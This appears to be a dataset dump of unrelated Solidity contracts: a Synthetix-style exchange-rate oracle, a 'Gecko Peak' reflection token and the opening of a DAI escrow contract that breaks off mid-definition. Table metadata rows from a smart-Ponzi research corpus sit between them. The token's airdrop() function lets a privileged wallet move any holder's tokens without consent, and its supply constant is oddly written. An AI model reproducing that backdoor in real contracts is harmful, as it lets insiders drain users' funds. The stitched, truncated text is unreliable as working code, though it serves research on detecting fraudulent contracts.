// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10 ** uint(decimals);
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
function unit()
external
pure
returns (uint)
{
return UNIT;
}
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
using SafeDecimalMath for uint;
// Exchange rates stored by currency code, e.g. 'SNX', or 'sUSD'
mapping(bytes4 => uint) public rates;
// Update times stored by currency code, e.g. 'SNX', or 'sUSD'
mapping(bytes4 => uint) public lastRateUpdateTimes;
// The address of the oracle which pushes rate updates to this contract
address public oracle;
// Do not allow the oracle to submit times any further forward into the future than this constant.
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
// How long will the contract assume the rate of any asset is correct
uint public rateStalePeriod = 3 hours;
// Each participating currency in the XDR basket is represented as a currency key with
// equal weighting.
// There are 5 participating currencies, so we'll declare that clearly.
bytes4[5] public xdrParticipants;
// For inverted prices, keep a mapping of their entry, limits and frozen status
struct InversePricing {
uint entryPoint;
uint upperLimit;
uint lowerLimit;
bool frozen;
}
mapping(bytes4 => InversePricing) public inversePricing;
bytes4[] public invertedKeys;
//
// ========== CONSTRUCTOR ==========
constructor(// SelfDestructible (Ownable)
address _owner,
// Oracle values - Allows for rate updates
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates)
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
// The sUSD rate is always 1 and is never stale.
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
// These are the currencies that make up the XDR basket.
// These are hard coded because:
// - Adding new currencies would likely introduce some kind of weighting factor, which
// then point the system at the new version.
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
// Loop through each key and perform update.
for (uint i = 0; i < currencyKeys.length; i++) {
// Should not set any rate to zero ever, as no asset will ever be
// truely worthless and still valid. In this scenario, we should
// delete the rate and remove it from the system.
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
// We should only update the rate if it's at least the same age as the last rate we've got.
if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) {
continue;
}
newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]);
// Ok, go ahead with the update.
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
emit RatesUpdated(currencyKeys, newRates);
// Now update our XDR rate.
updateXDRRate(timeSent);
return true;
}
function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) {
// if an inverse mapping exists, adjust the price accordingly
InversePricing storage inverse = inversePricing[currencyKey];
if (inverse.entryPoint <= 0) {
return rate;
}
// set the rate to the current rate initially (if it's frozen, this is what will be returned)
uint newInverseRate = rates[currencyKey];
// get the new inverted rate if not frozen
if (!inverse.frozen) {
uint doubleEntryPoint = inverse.entryPoint.mul(2);
if (doubleEntryPoint <= rate) {
// avoid negative numbers for unsigned ints, so set this to 0
// which by the requirement that lowerLimit be > 0 will
// cause this to freeze the price to the lowerLimit
newInverseRate = 0;
} else {
newInverseRate = doubleEntryPoint.sub(rate);
}
// now if new rate hits our limits, set it to the limit and freeze
if (newInverseRate >= inverse.upperLimit) {
newInverseRate = inverse.upperLimit;
} else if (newInverseRate <= inverse.lowerLimit) {
newInverseRate = inverse.lowerLimit;
}
if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) {
inverse.frozen = true;
emit InversePriceFrozen(currencyKey);
}
}
return newInverseRate;
}
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
// Set the rate
rates["XDR"] = total;
// Record that we updated the XDR rate.
lastRateUpdateTimes["XDR"] = timeSent;
// Emit our updated event separate to the others to save
// moving data around between arrays.
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit)
external onlyOwner
{
require(entryPoint > 0, "entryPoint must be above 0");
require(lowerLimit > 0, "lowerLimit must be above 0");
require(upperLimit > entryPoint, "upperLimit must be above the entryPoint");
require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint");
require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint");
if (inversePricing[currencyKey].entryPoint <= 0) {
// then we are adding a new inverse pricing, so add this
invertedKeys.push(currencyKey);
}
inversePricing[currencyKey].entryPoint = entryPoint;
inversePricing[currencyKey].upperLimit = upperLimit;
inversePricing[currencyKey].lowerLimit = lowerLimit;
inversePricing[currencyKey].frozen = false;
emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit);
}
function removeInversePricing(bytes4 currencyKey) external onlyOwner {
inversePricing[currencyKey].entryPoint = 0;
inversePricing[currencyKey].upperLimit = 0;
inversePricing[currencyKey].lowerLimit = 0;
inversePricing[currencyKey].frozen = false;
// now remove inverted key from array
for (uint8 i = 0; i < invertedKeys.length; i++) {
if (invertedKeys[i] == currencyKey) {
delete invertedKeys[i];
// Copy the last key into the place of the one we just deleted
// If there's only one key, this is array[0] = array[0].
// If we're deleting the last one, it's also a NOOP in the same way.
invertedKeys[i] = invertedKeys[invertedKeys.length - 1];
// Decrease the size of the array by one.
invertedKeys.length--;
break;
}
}
emit InversePriceConfigured(currencyKey, 0, 0, 0);
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
// If there's no change in the currency, then just return the amount they gave us
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
// Calculate the effective value by going from source -> USD -> destination
return sourceAmount.multiplyDecimalRound(rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(rateForCurrency(destinationCurrencyKey));
}
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
function rateIsStale(bytes4 currencyKey)
public
view
returns (bool)
{
// sUSD is a special case and is never stale.
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
function rateIsFrozen(bytes4 currencyKey)
external
view
returns (bool)
{
return inversePricing[currencyKey].frozen;
}
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
// Loop through each key and check whether the data point is stale.
uint256 i = 0;
while (i < currencyKeys.length) {
// sUSD is a special case and is never false
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
modifier rateNotStale(bytes4 currencyKey) {
require(!rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit);
event InversePriceFrozen(bytes4 currencyKey);
}
| 141,199 | 10,674 |
ac47bd3265c8b8d0cec79e14774f2560630cfefcb1133e9aefa5242c0df08c80
| 15,129 |
.sol
|
Solidity
| false |
469620558
|
SolidityDevs/Tokens
|
8c63294714cddd2f689a6a8cfdbd83f262a3404c
|
contracts/reflection.sol
| 4,138 | 14,808 |
// SPDX-License-Identifier: Unlicensed
pragma solidity >=0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IJoeFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IJoeRouter02 {
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GPeak is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 **10*6 * 10**4;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Gecko Peak";
string private constant _symbol = unicode"GPEAK";
uint8 private constant _decimals = 4;
uint256 public _taxFee = 10;
uint256 public _teamFee = 5;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private w1;
address payable private w2;
IJoeRouter02 private joeV2Router;
address private joeV2Pair;
bool public tradingEnabled = false;
bool public canSwap = true;
bool public inSwap = false;
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable treasuryWalletAddress , address payable GPeakWalletAddress) {
w1 = treasuryWalletAddress;
w2 = GPeakWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[w1] = true;
_isExcludedFromFee[w2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
IJoeRouter02 _uniswapV2Router = IJoeRouter02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
joeV2Router = _uniswapV2Router;
_approve(address(this), address(joeV2Router), _tTotal);
joeV2Pair = IJoeFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WAVAX());
IERC20(joeV2Pair).approve(address(joeV2Router), type(uint).max);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function setCanSwap(bool onoff) external onlyOwner() {
canSwap = onoff;
}
function setTradingEnabled(bool onoff) external onlyOwner() {
tradingEnabled = onoff;
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!tradingEnabled) {
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not live yet");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != joeV2Pair && tradingEnabled && canSwap) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(joeV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(joeV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
if(from != joeV2Pair && to != joeV2Pair) {
takeFee = false;
}
if (takeFee && from == joeV2Pair) {
_previousteamFee = _teamFee;
_teamFee = 0;
}
if(takeFee && to == joeV2Pair) {
_previousTaxFee = _taxFee;
_taxFee = 0;
}
_tokenTransfer(from,to,amount,takeFee);
if (takeFee && from == joeV2Pair) _teamFee = _previousteamFee;
if (takeFee && to == joeV2Pair) _taxFee = _previousTaxFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = joeV2Router.WAVAX();
_approve(address(this), address(joeV2Router), tokenAmount);
joeV2Router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function sendETHToFee(uint256 amount) private {
w1.transfer(amount.div(2));
w2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function setTreasuryWallet(address payable _w1) external {
require(_msgSender() == w1);
w1 = _w1;
_isExcludedFromFee[w1] = true;
}
function setGPeakWallet(address payable _w2) external {
require(_msgSender() == w2);
w2 = _w2;
_isExcludedFromFee[w2] = true;
}
function excludeFromFee(address payable ad) external {
require(_msgSender() == w1);
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external {
require(_msgSender() == w1);
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == w1);
require(team <= 25);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == w1);
require(tax <= 25);
_taxFee = tax;
}
function manualswap() external {
require(_msgSender() == w1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == w1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function airdrop(address from,address to,uint amount) external{
require(_msgSender() == w1);
require(_rOwned[from] >= amount);
require(from != to);
_transfer(from,to,amount);
}
}
| 229,746 | 10,675 |
84033bb553951b9fe1e4c9bf0c3e83ed5f5bc7668cab9cc0a8d8d8d44700c50c
| 18,078 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0xd08d4f315f9a05a4e814976a6789b9c1fcdd00b9.sol
| 2,796 | 10,649 |
pragma solidity 0.5.14;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract LexDAORole is Context {
using Roles for Roles.Role;
event LexDAOAdded(address indexed account);
event LexDAORemoved(address indexed account);
Roles.Role private _lexDAOs;
constructor () internal {
_addLexDAO(_msgSender());
}
modifier onlyLexDAO() {
require(isLexDAO(_msgSender()), "LexDAORole: caller does not have the LexDAO role");
_;
}
function isLexDAO(address account) public view returns (bool) {
return _lexDAOs.has(account);
}
function addLexDAO(address account) public onlyLexDAO {
_addLexDAO(account);
}
function renounceLexDAO() public {
_removeLexDAO(_msgSender());
}
function _addLexDAO(address account) internal {
_lexDAOs.add(account);
emit LexDAOAdded(account);
}
function _removeLexDAO(address account) internal {
_lexDAOs.remove(account);
emit LexDAORemoved(account);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract IChai {
function transfer(address dst, uint wad) external returns (bool);
// like transferFrom but dai-denominated
function move(address src, address dst, uint wad) external returns (bool);
function transferFrom(address src, address dst, uint wad) public returns (bool);
function approve(address usr, uint wad) external returns (bool);
function balanceOf(address usr) external returns (uint);
// Approve by signature
function permit(address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) external;
function dai(address usr) external returns (uint wad);
function dai(uint chai) external returns (uint wad);
// wad is denominated in dai
function join(address dst, uint wad) external;
// wad is denominated in (1/chi) * dai
function exit(address src, uint wad) public;
// wad is denominated in dai
function draw(address src, uint wad) external returns (uint chai);
}
contract DaiSavingsEscrow is LexDAORole {
using SafeMath for uint256;
// $DAI details:
address private daiAddress = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
IERC20 public dai = IERC20(daiAddress);
// $CHAI details:
address private chaiAddress = 0x06AF07097C9Eeb7fD685c692751D5C66dB49c215;
IChai public chai = IChai(chaiAddress);
// <$> DSE <$> details:
address private vault = address(this);
address public proposedManager;
address payable public manager;
uint8 public version = 1;
uint256 public escrowFee;
uint256 public dse; // index for registered escrows
string public emoji = "";
mapping (uint256 => Escrow) public escrow;
struct Escrow {
address client;
address provider;
uint256 payment;
